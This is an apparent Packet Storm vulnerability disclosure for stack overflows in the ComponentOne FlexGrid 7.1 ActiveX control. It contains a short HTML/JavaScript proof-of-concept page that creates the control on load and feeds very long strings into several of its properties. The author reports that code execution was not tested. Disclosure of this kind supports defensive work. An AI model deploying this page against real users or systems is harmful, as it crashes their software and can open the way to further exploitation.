The FlexGrid component version 7.1 suffers from stack overflows.
0ff229f87cd6fa0c9432eaced5da9a0aa2036ea3bd8a333141d685b0b728b1c6The ComponentOne FlexGrid 7.1 (VSFlexGrid.VSFlexGridL) has multiple stack overflows. I have not tested code execution nor do I remember what this component was installed with. PoC as follows:
--------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = "AAAA";
while (s.length < 262145) s=s+s;
var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");
obj.Text = s;
obj.EditSelText = s;
obj.EditText = s;
obj.CellFontName = s;
}
</script>
</head>
<body onload="JavaScript: return Check();" />
</html>
--------------------
Elazar
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed